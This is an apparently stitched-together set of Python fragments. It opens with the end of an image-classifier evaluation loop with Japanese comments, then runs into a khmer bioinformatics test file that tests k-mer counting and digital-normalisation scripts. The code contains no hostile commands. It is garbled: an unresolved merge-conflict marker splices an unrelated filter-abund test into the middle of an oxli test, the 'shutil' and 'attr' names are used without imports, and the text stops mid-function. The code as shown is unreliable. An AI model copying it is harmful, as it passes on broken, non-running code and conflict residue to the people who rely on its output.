try: learned_step = ai.get_learned_step() print("learned_step:{}".format(learned_step)) imageFormat=1 ok_count = 0 ng_count = 0 file_count = 0 bad_count = 0 # その他以外での失敗数 for int_label in range(n_classes): label_data = [] label = str(int_label) if not os.path.exists(os.path.join(TEST_DATA_DIR,label)): raise ValueError('Failed to label dir: ' + label) path=os.path.join(TEST_DATA_DIR, label) file_names = sorted(os.listdir(path)) counter = 0 for file_name in file_names: if not FORCE_STOP_THREAD_RUN: break # 強制停止ならループを抜ける start_time = time.time() ######################################## # 画像を読み込む ######################################## cv_bgr = cv2.imread(os.path.join(path, file_name), imageFormat) image_data = cv_bgr.reshape(1,data_cols) ######################################## # AI予測結果を取得する ######################################## ai_value = ai.get_prediction(score,cv_bgr) end_time = time.time() if int_label == ai_value: print("label:ai_value => {}:{} - ok {} time:{:.8f}".format(int_label,ai_value,file_name,end_time-start_time)) ok_count += 1 else: print("label:ai_value => {}:{} - ng {} time:{:.8f}".format(int_label,ai_value,file_name,end_time-start_time)) ng_count += 1 if not ai_value == ai.get_other_label(): bad_count += 1 file_count += 1 print("file_count:{} ok:{} ng:{} bad:{}".format(file_count,ok_count,ng_count,bad_count)) except: import traceback traceback.print_exc() print('error! main failed.') finally: print("main end") # ボタンスレッドを停止させる FORCE_STOP_THREAD_RUN = False pass return if __name__ == '__main__': # 停止ボタンの状態を監視するスレッドを起動する t = threading.Thread(target=do_force_stop_button,args=()) t.start() main()
test_scripts.py
# This file is part of khmer, https://github.com/dib-lab/khmer/, and is # Copyright (C) 2014-2015, Michigan State University. # Copyright (C) 2015-2016, The Regents of the University of California. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided # with the distribution. # # * Neither the name of the Michigan State University nor the names # of its contributors may be used to endorse or promote products # derived from this software without specific prior written # permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # Contact: khmer-project@idyll.org # pylint: disable=C0111,C0103,E1103,unused-variable,protected-access import csv import json import sys import os import stat import threading import io import pytest from . import khmer_tst_utils as utils import khmer from khmer import Countgraph, SmallCountgraph, Nodegraph import khmer.kfile import screed def teardown(): utils.cleanup() def test_check_space(): # @CTB this probably belongs in a new test file, along with other # tests of the file.py module. khmer.kfile.check_space( ['', utils.get_test_data('test-abund-read-2.fa')], False) def test_load_into_counting(): script = 'load-into-counting.py' args = ['-x', '1e3', '-N', '2', '-k', '20'] outfile = utils.get_temp_filename('out.ct') infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert 'Total number of unique k-mers: 94' in err, err assert os.path.exists(outfile) def test_load_into_counting_smallcount(): script = 'load-into-counting.py' args = ['-x', '1e3', '--small-count'] outfile = utils.get_temp_filename('out.ct') infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert 'Total number of unique k-mers: 83' in err, err assert os.path.exists(outfile) def test_load_into_counting_quiet(): script = 'load-into-counting.py' args = ['-q', '-x', '1e3', '-N', '2', '-k', '20'] outfile = utils.get_temp_filename('out.ct') infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert len(out) == 0 assert len(err) == 0 assert os.path.exists(outfile) def test_load_into_counting_autoargs_0(): script = 'load-into-counting.py' outfile = utils.get_temp_filename('table') infile = utils.get_test_data('test-abund-read-2.fa') args = ['-U', '1e7', '--fp-rate', '0.08', outfile, infile] (status, out, err) = utils.runscript(script, args) assert os.path.exists(outfile) assert 'INFO: Overriding default fp 0.1 with new fp: 0.08' in err, err assert ' tablesize is too small!' in err, err assert 'Estimated FP rate with current config is: 0.9999546' in err, err assert 'Recommended tablesize is: 1.77407e+07 bytes' in err, err def test_load_into_counting_autoargs_1(): script = 'load-into-counting.py' outfile = utils.get_temp_filename('table') infile = utils.get_test_data('test-abund-read-2.fa') args = ['-U', '1e7', '--max-tablesize', '3e7', outfile, infile] (status, out, err) = utils.runscript(script, args) assert os.path.exists(outfile) assert "Ceiling is: 4.80833e+07 bytes" in err, err assert "set memory ceiling automatically." in err, err def test_load_into_count_graphsize_warning(): script = 'load-into-counting.py' args = ['-k', '20'] outfile = utils.get_temp_filename('out.ct') infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert os.path.exists(outfile) assert "WARNING: tablesize is default!" in err def test_load_into_counting_max_memory_usage_parameter(): script = 'load-into-counting.py' args = ['-M', '2e3', '-k', '20'] outfile = utils.get_temp_filename('out.ct') infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert os.path.exists(outfile) assert "WARNING: tablesize is default!" not in err kh = Countgraph.load(outfile) assert sum(kh.hashsizes()) < 3e8 def test_load_into_counting_abundance_dist_nobig(): script = 'load-into-counting.py' args = ['-x', '1e3', '-N', '2', '-k', '20', '-b'] outfile = utils.get_temp_filename('out.ct') infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert 'Total number of unique k-mers: 94' in err, err assert os.path.exists(outfile) htfile = outfile outfile = utils.get_temp_filename('out') script2 = 'abundance-dist.py' args = ['-z', htfile, infile, outfile] (status, out, err) = utils.runscript(script2, args) assert 'WARNING: The loaded graph has bigcount' in err, err assert 'bigcount' in err, err def test_load_into_counting_abundance_dist_squashing(): graphfile = utils.get_temp_filename('out.ct') infile = utils.get_test_data('test-abund-read-2.fa') args = [graphfile, infile] script = 'load-into-counting.py' utils.runscript(script, args) histogram = utils.get_temp_filename('histogram') infile = utils.get_test_data('test-abund-read-2.fa') args = [graphfile, infile, histogram] script = 'abundance-dist.py' # make histogram (status, out, err) = utils.runscript(script, args) assert os.path.exists(histogram) # attempt to overwrite histogram; fail failed = True try: (status, out, err) = utils.runscript(script, args) failed = False except AssertionError as error: assert "exists; not squashing" in str(error), str(error) assert failed, "Expected to fail" # attempt to overwrite with squashing; should work args = ['-s', graphfile, infile, histogram] (status, out, err) = utils.runscript(script, args) assert "squashing existing file" in err, err histfile = open(histogram, 'r') lines = histfile.readlines() # stripping because boo whitespace assert lines[1].strip() == "0,0,0,0.0", lines[1] assert lines[2].strip() == "1,83,83,1.0", lines[2] # note: if run as root, will fail b/c root can write to anything @pytest.mark.noroot def test_load_into_counting_nonwritable(): script = 'load-into-counting.py' args = ['-x', '1e3', '-N', '2', '-k', '20'] outfile = utils.get_temp_filename('test-nonwritable') with open(outfile, 'w') as fout: fout.write("This file is non-writable (after this)") os.chmod(outfile, stat.S_IWOTH | stat.S_IRUSR) infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args, fail_ok=True) assert 'does not have write permission; exiting' in err, err assert status == 1, status @pytest.mark.huge def test_load_into_counting_toobig(): script = 'load-into-counting.py' args = ['-x', '1e12', '-N', '2', '-k', '20', '--force'] outfile = utils.get_temp_filename('out.kh') infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args, fail_ok=True) assert status == -1, status assert "MemoryError" in err, err def test_load_into_counting_fail(): script = 'load-into-counting.py' args = ['-x', '1e2', '-N', '2', '-k', '20'] # use small HT outfile = utils.get_temp_filename('out.ct') infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args, fail_ok=True) assert status == 1, status print(err) assert "** ERROR: the graph structure is too small" in err def test_load_into_counting_multifile(): script = 'load-into-counting.py' args = ['-x', '1e7', '-N', '2', '-k', '20'] outfile = utils.get_temp_filename('out.kh') infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile, infile, infile, infile, infile, infile, infile, infile, infile, infile, infile]) (status, out, err) = utils.runscript(script, args) assert 'Total number of unique k-mers: 95' in err, err assert os.path.exists(outfile) def test_load_into_counting_tsv(): script = 'load-into-counting.py' args = ['-x', '1e7', '-N', '2', '-k', '20', '-s', 'tsv'] outfile = utils.get_temp_filename('out.ct') tabfile = outfile + '.info.tsv' infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert 'Total number of unique k-mers: 95' in err, err assert os.path.exists(outfile) assert os.path.exists(tabfile) with open(tabfile) as tabfh: tabfile_lines = tabfh.readlines() assert len(tabfile_lines) == 2 outbase = os.path.basename(outfile) tsv = [outbase, '0.000', '95', '1001', infile] expected_tsv_line = '\t'.join(tsv) + '\n' assert tabfile_lines[1] == expected_tsv_line, tabfile_lines def test_load_into_counting_json(): script = 'load-into-counting.py' args = ['-x', '1e7', '-N', '2', '-k', '20', '-s', 'json'] outfile = utils.get_temp_filename('out.ct') jsonfile = outfile + '.info.json' infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert 'Total number of unique k-mers: 95' in err, err assert os.path.exists(outfile) assert os.path.exists(jsonfile) with open(jsonfile) as jsonfh: got_json = json.load(jsonfh) outbase = os.path.basename(outfile) expected_json = { u"files": [infile], u"ht_name": outbase, u"num_kmers": 95, u"num_reads": 1001, u"fpr": 9.025048735197377e-11, u"mrinfo_version": "0.2.0", } assert got_json == expected_json, got_json def test_load_into_counting_bad_summary_fmt(): script = 'load-into-counting.py' args = ['-x', '1e7', '-N', '2', '-k', '20', '-s', 'badfmt'] outfile = utils.get_temp_filename('out.ct') infile = utils.get_test_data('test-abund-read-2.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args, fail_ok=True) assert status != 0, status assert "invalid choice: 'badfmt'" in err, err def test_load_into_counting_info_version(): script = 'load-into-counting.py' args = ['-x', '1e5', '-N', '2', '-k', '20'] # use small HT outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) ht_file = outfile assert os.path.exists(ht_file), ht_file info_file = outfile + '.info' assert os.path.exists(info_file), info_file with open(info_file) as info_fp: versionline = info_fp.readline() version = versionline.split(':')[1].strip() assert versionline.startswith('khmer version:'), versionline assert version == khmer.__version__, version def _make_counting(infilename, SIZE=1e7, N=2, K=20, BIGCOUNT=True): script = 'load-into-counting.py' args = ['-x', str(SIZE), '-N', str(N), '-k', str(K)] if not BIGCOUNT: args.append('-b') outfile = utils.get_temp_filename('out.ct') args.extend([outfile, infilename]) utils.runscript(script, args) assert os.path.exists(outfile) return outfile def test_filter_stoptags(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) stopfile = utils.get_temp_filename('stoptags', in_dir) # first, copy test-abund-read-2.fa to 'test.fa' in the temp dir. # now, create a file with some stop tags in it -- K = 18 kh = khmer.Nodegraph(K, 1, 1) kh.add_stop_tag('GTTGACGGGGCTCAGGGG') kh.save_stop_tags(stopfile) del kh # finally, run filter-stoptags. script = 'filter-stoptags.py' args = ['-k', str(K), stopfile, infile, infile] utils.runscript(script, args, in_dir) # verify that the basic output file exists outfile = infile + '.stopfilt' assert os.path.exists(outfile), outfile # it should contain only one unique sequence, because we've trimmed # off everything after the beginning of the only long sequence in there. seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 1, seqs assert 'GGTTGACGGGGCTCAGGG' in seqs, seqs def test_filter_stoptags_fq(): infile = utils.copy_test_data('test-abund-read-2.fq') in_dir = os.path.dirname(infile) stopfile = utils.get_temp_filename('stoptags', in_dir) # first, copy test-abund-read-2.fa to 'test.fa' in the temp dir. # now, create a file with some stop tags in it -- K = 18 kh = khmer.Nodegraph(K, 1, 1) kh.add_stop_tag('GTTGACGGGGCTCAGGGG') kh.save_stop_tags(stopfile) del kh # finally, run filter-stoptags. script = 'filter-stoptags.py' args = ['-k', str(K), stopfile, infile, infile] utils.runscript(script, args, in_dir) # verify that the basic output file exists outfile = infile + '.stopfilt' assert os.path.exists(outfile), outfile # it should contain only one unique sequence, because we've trimmed # off everything after the beginning of the only long sequence in there. seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 1, seqs assert 'GGTTGACGGGGCTCAGGG' in seqs, seqs # make sure that record names are carried through unparsed names = [r.name for r in screed.open(outfile)] names = set(names) assert 'seq 1::BAR' in names def test_normalize_by_median_indent(): infile = utils.get_test_data('paired-mixed.fa.pe') hashfile = utils.get_test_data('normC20k20.ct') outfile = utils.get_temp_filename('paired-mixed.fa.pe.keep') script = 'normalize-by-median.py' args = ['--loadtable', hashfile, '-o', outfile, infile] (status, out, err) = utils.runscript(script, args) assert status == 0, (out, err) assert os.path.exists(outfile) def test_normalize_by_median(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', infile] (status, out, err) = utils.runscript(script, args, in_dir) assert 'Total number of unique k-mers: 98' in err, err outfile = infile + '.keep' assert os.path.exists(outfile), outfile seqs = [r.sequence for r in screed.open(outfile)] assert len(seqs) == 1, seqs assert seqs[0].startswith('GGTTGACGGGGCTCAGGGGG'), seqs assert "IOErrors" not in err def test_normalize_by_median_unpaired_final_read(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('single-read.fq'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', '-p', infile] try: (status, out, err) = utils.runscript(script, args, in_dir) raise Exception("Shouldn't get to this") except AssertionError as e: out = str(e) assert "ERROR: Unpaired reads when require_paired" in out, out def test_normalize_by_median_unforced_badfile(): CUTOFF = '1' infile = utils.get_temp_filename("potatoes") outfile = infile + '.keep' in_dir = os.path.dirname(infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', infile] try: (status, out, err) = utils.runscript(script, args, in_dir) raise Exception("Shouldn't get to this") except AssertionError as e: out = str(e) assert "ERROR: [Errno 2] No such file or directory:" in out, out if os.path.exists(outfile): assert False, '.keep file should have been removed: ' def test_normalize_by_median_contradictory_args(): infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) outfile = utils.get_temp_filename('report.out') shutil.copyfile(utils.get_test_data('test-large.fa'), infile) script = 'normalize-by-median.py' args = ['-C', '1', '-k', '17', '--force-single', '-p', '-R', outfile, infile] try: (status, out, err) = utils.runscript(script, args, in_dir) raise Exception("Shouldn't get to this") except AssertionError as e: out = str(e) assert "cannot both be set" in out, out def test_normalize_by_median_stdout_3(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', infile, '--out', '-'] (status, out, err) = utils.runscript(script, args, in_dir) assert 'Total number of unique k-mers: 98' in err, err assert 'in /dev/stdout' in err, err assert "IOErrors" not in err @attr('known_failing') def test_normalize_by_median_known_good(): CUTOFF = '2' infile = utils.get_temp_filename('test.fa.gz') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('100k-filtered.fa.gz'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '20', '-x', '4e6', infile] (status, out, err) = utils.runscript(script, args, in_dir) outfile = infile + '.keep' assert os.path.exists(outfile), outfile iter_known = screed.open(utils.get_test_data('100k-filtered.fa.keep.gz')) iter_out = screed.open(outfile) try: for rknown, rout in zip(iter_known, iter_out): assert rknown.name == rout.name except Exception as e: print(e) assert False def test_normalize_by_median_report_fp(): infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) outfile = utils.get_temp_filename('report.out') shutil.copyfile(utils.get_test_data('test-large.fa'), infile) script = 'normalize-by-median.py' args = ['-C', '1', '-k', '17', '-R', outfile, infile] (status, out, err) = utils.runscript(script, args, in_dir) assert "fp rate estimated to be 0.626" in err, err report = open(outfile, 'r') line = report.readline() assert "100000 25232 0.25232" in line, line def test_normalize_by_median_unpaired_and_paired(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-paired.fa'), infile) unpairedfile = utils.get_temp_filename('test1.fa', tempdir=in_dir) shutil.copyfile(utils.get_test_data('random-20-a.fa'), unpairedfile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', '-u', unpairedfile, '-p', infile] (status, out, err) = utils.runscript(script, args, in_dir) assert 'Total number of unique k-mers: 4029' in err, err outfile = infile + '.keep' assert os.path.exists(outfile), outfile def test_normalize_by_median_count_kmers_PE(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) # The test file has one pair of identical read except for the last base # The 2nd read should be discarded in the unpaired mode # but kept in the paired end mode adding only one more unique kmer shutil.copyfile(utils.get_test_data('paired_one.base.dif.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', '--force-single', infile] (status, out, err) = utils.runscript(script, args, in_dir) assert 'Total number of unique k-mers: 98' in err, err assert 'kept 1 of 2 or 50%' in err, err args = ['-C', CUTOFF, '-k', '17', '-p', infile] (status, out, err) = utils.runscript(script, args, in_dir) assert 'Total number of unique k-mers: 99' in err, err assert 'kept 2 of 2 or 100%' in err, err def test_normalize_by_median_double_file_name(): infile = utils.get_temp_filename('test-abund-read-2.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) script = 'normalize-by-median.py' args = [utils.get_test_data('test-abund-read-2.fa'), infile] try: (status, out, err) = utils.runscript(script, args, in_dir) except AssertionError as e: assert "Duplicate filename--Cannot handle this!" in str(e), str(e) def test_normalize_by_median_overwrite(): outfile = utils.get_temp_filename('test.fa.keep') shutil.copyfile(utils.get_test_data('test-abund-read.fa'), outfile) in_dir = os.path.dirname(outfile) CUTOFF = '1' infile = utils.get_temp_filename('test.fa', in_dir) shutil.copyfile(utils.get_test_data('test-abund-read-3.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', '-o', outfile, infile] (status, out, err) = utils.runscript(script, args, in_dir) assert os.path.exists(outfile), outfile seqs = [r.sequence for r in screed.open(outfile)] assert len(seqs) == 1, seqs assert 'GACAGCgtgCCGCA' in seqs[0], seqs def test_normalize_by_median_version(): script = 'normalize-by-median.py' args = ['--version'] status, out, err = utils.runscript(script, args) errlines = err.splitlines() for err in errlines: if err.startswith('||') or \ not err.strip(): continue break print(errlines) print(err) assert err.startswith('khmer ') def test_normalize_by_median_2(): CUTOFF = '2' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', infile] utils.runscript(script, args, in_dir) outfile = infile + '.keep' assert os.path.exists(outfile), outfile seqs = [r.sequence for r in screed.open(outfile)] assert len(seqs) == 2, seqs assert seqs[0].startswith('GGTTGACGGGGCTCAGGGGG'), seqs assert seqs[1] == 'GGTTGACGGGGCTCAGGG', seqs def test_normalize_by_median_paired(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-paired.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-p', '-k', '17', infile] utils.runscript(script, args, in_dir) outfile = infile + '.keep' assert os.path.exists(outfile), outfile seqs = [r.sequence for r in screed.open(outfile)] assert len(seqs) == 2, seqs assert seqs[0].startswith('GGTTGACGGGGCTCAGGGGG'), seqs assert seqs[1].startswith('GGTTGACGGGGCTCAGGG'), seqs def test_normalize_by_median_paired_fq(): CUTOFF = '20' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-paired.fq'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-p', '-k', '17', infile] _, out, err = utils.runscript(script, args, in_dir) print(out) print(err) outfile = infile + '.keep' assert os.path.exists(outfile), outfile seqs = [r.sequence for r in screed.open(outfile)] assert len(seqs) == 6, len(seqs) assert seqs[0].startswith('GGTTGACGGGGCTCAGGGGG'), seqs assert seqs[1].startswith('GGTTGACGGGGCTCAGGG'), seqs names = [r.name for r in screed.open(outfile, parse_description=False)] assert len(names) == 6, names assert '895:1:37:17593:9954 1::FOO' in names, names assert '895:1:37:17593:9954 2::FOO' in names, names def test_normalize_by_median_impaired(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-impaired.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-p', '-k', '17', infile] _, out, err = utils.runscript(script, args, in_dir, fail_ok=True) assert 'ERROR: Unpaired reads ' in err, err def test_normalize_by_median_force(): CUTOFF = '1' corrupt_infile = utils.get_temp_filename('test-corrupt.fq') good_infile = utils.get_temp_filename('test-good.fq', tempdir=os.path.dirname( corrupt_infile)) in_dir = os.path.dirname(good_infile) shutil.copyfile(utils.get_test_data('test-error-reads.fq'), corrupt_infile) shutil.copyfile(utils.get_test_data('test-fastq-reads.fq'), good_infile) script = 'normalize-by-median.py' args = ['-f', '-C', CUTOFF, '-k', '17', corrupt_infile, good_infile] (status, out, err) = utils.runscript(script, args, in_dir) assert '*** Skipping' in err assert '** I/O Errors' in err, err def test_normalize_by_median_no_bigcount(): infile = utils.get_temp_filename('test.fa') hashfile = utils.get_temp_filename('test-out.ct') outfile = infile + '.keep' in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) counting_ht = _make_counting(infile, K=8) script = 'normalize-by-median.py' args = ['-C', '1000', '-k 8', '--savetable', hashfile, infile] (status, out, err) = utils.runscript(script, args, in_dir) assert status == 0, (out, err) print((out, err)) assert os.path.exists(hashfile), hashfile try: kh = khmer.load_counting_hash(hashfile) except IOError as e: assert 0, 'Should not produce an IOError: ' + str(e) assert kh.get('GGTTGACG') == 255 def test_normalize_by_median_empty(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-empty.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', infile] utils.runscript(script, args, in_dir) outfile = infile + '.keep' assert os.path.exists(outfile), outfile def test_normalize_by_median_emptycountingtable(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-empty.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '--loadtable', infile, infile] (status, out, err) = utils.runscript(script, args, in_dir, fail_ok=True) assert 'ValueError' in err, (status, out, err) def test_normalize_by_median_fpr(): MIN_TABLESIZE_PARAM = 1 infile = utils.get_temp_filename('test-fpr.fq') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-fastq-reads.fq'), infile) script = 'normalize-by-median.py' args = ['-f', '-k 17', '-x ' + str(MIN_TABLESIZE_PARAM), infile] (status, out, err) = utils.runscript(script, args, in_dir, fail_ok=True) assert os.path.exists(infile + '.keep') assert '** ERROR: the graph structure is too small' in err, err def write_by_chunks(infile, outfile, CHUNKSIZE=8192): ifile = io.open(infile, 'rb') ofile = io.open(outfile, 'wb') chunk = ifile.read(CHUNKSIZE) while len(chunk) > 0: ofile.write(chunk) chunk = ifile.read(CHUNKSIZE) ifile.close() ofile.close() def test_normalize_by_median_streaming(): CUTOFF = '20' infile = utils.get_test_data('100-reads.fq.gz') in_dir = os.path.dirname(infile) fifo = utils.get_temp_filename('fifo') outfile = utils.get_temp_filename('outfile') # Use a fifo to copy stdout to a file for checking os.mkfifo(fifo) thread = threading.Thread(target=write_by_chunks, args=(fifo, outfile)) thread.start() # Execute diginorm script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', '-o', fifo, infile] (status, out, err) = utils.runscript(script, args, in_dir) # Merge the thread thread.join() assert os.path.exists(outfile), outfile with open(outfile) as fp: linecount = sum(1 for _ in fp) assert linecount == 400 def test_count_median(): infile = utils.copy_test_data('test-abund-read-2.fa') outfile = infile + '.counts' counting_ht = _make_counting(infile, K=8) script = 'count-median.py' args = [counting_ht, infile, outfile] utils.runscript(script, args) assert os.path.exists(outfile), outfile data = [x.strip() for x in open(outfile).readlines()[1:]] data = set(data) assert len(data) == 2, data assert 'seq,1001,1001.0,0.0,18' in data, data assert '895:1:37:17593:9954/1,1,103.803741455,303.702941895,114' in data def test_count_median_fq_csv(): infile = utils.copy_test_data('test-abund-read-2.fq') outfile = infile + '.counts' counting_ht = _make_counting(infile, K=8) script = 'count-median.py' args = [counting_ht, infile, outfile] utils.runscript(script, args) assert os.path.exists(outfile), outfile data = [x.strip() for x in open(outfile)] data = set(data) assert len(data) == 4, data assert 'name,median,average,stddev,seqlen' in data assert 'seq,1001,1001.0,0.0,18' in data # verify that sequence names remain unparsed names = set([line.split(',')[0] for line in data]) assert '895:1:37:17593:9954 1::FOO' in names, names def test_count_median_fq_csv_stdout(): infile = utils.copy_test_data('test-abund-read-2.fq') outfile = '-' counting_ht = _make_counting(infile, K=8) script = 'count-median.py' args = [counting_ht, infile, outfile] (status, out, err) = utils.runscript(script, args) assert 'name,median,average,stddev,seqlen' in out assert 'seq,1001,1001.0,0.0,18' in out def test_load_graph(): script = 'load-graph.py' args = ['-x', '1e7', '-N', '2', '-k', '20'] outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert 'Total number of unique k-mers: 3960' in err, err ht_file = outfile assert os.path.exists(ht_file), ht_file tagset_file = outfile + '.tagset' assert os.path.exists(tagset_file), tagset_file try: ht = Nodegraph.load(ht_file) except OSError as err: assert 0, str(err) ht.load_tagset(tagset_file) # check to make sure we get the expected result for this data set # upon partitioning (all in one partition). This is kind of a # roundabout way of checking that load-graph.py worked :) subset = ht.do_subset_partition(0, 0) x = subset.count_partitions() assert x == (1, 0), x @pytest.mark.known_failing def test_oxli_build_graph(): script = 'oxli' args = ['build-graph', '-x', '1e7', '-N', '2', '-k', '20'] outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert 'Total number of unique k-mers: 3960' in err, err ht_file = outfile assert os.path.exists(ht_file), ht_file tagset_file = outfile + '.tagset' assert os.path.exists(tagset_file), tagset_file ht = Nodegraph.load(ht_file) ht.load_tagset(tagset_file) # check to make sure we get the expected result for this data set # upon partitioning (all in one partition). This is kind of a # roundabout way of checking that load-graph.py worked :) subset = ht.do_subset_partition(0, 0) x = ht.subset_count_partitions(subset) assert x == (1, 0), x @pytest.mark.known_failing def test_oxli_build_graph_unique_kmers_arg(): script = 'oxli' args = ['build-graph', '-x', '1e7', '-N', '2', '-k', '20', '-U', '3960'] outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert 'Total number of unique k-mers: 3960' in err, err assert 'INFO: set memory ceiling automatically' in err, err assert 'Ceiling is: 1e+06 bytes' in err, err <<<<<<< HEAD ht_file = outfile ======= script = 'filter-abund.py' args = ['-V', counting_ht, infile] utils.runscript(script, args, in_dir) outfile = infile + '.abundfilt' assert os.path.exists(outfile), outfile seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 2, seqs # trimmed sequence @ error assert 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGC' in seqs def test_filter_abund_6_trim_high_abund_Z(): # test that -V/-Z settings interact properly - # trimming should not happen if -Z is set high enough. infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-3.fa'), infile) counting_ht = _make_counting(infile, K=17) script = 'filter-abund.py' args = ['-V', '-Z', '25', counting_ht, infile] utils.runscript(script, args, in_dir) outfile = infile + '.abundfilt' assert os.path.exists(outfile), outfile seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 2, seqs # untrimmed seq. badseq = 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGCgtgCCGCAGCTGTCGTCAGGG' \ 'GATTTCCGGGCGG' assert badseq in seqs # should be there, untrimmed def test_filter_abund_7_retain_Ns(): # check that filter-abund retains sequences with Ns, and treats them as As. infile = utils.get_temp_filename('test.fq') in_dir = os.path.dirname(infile) # copy test file over to test.fq & load into counting table 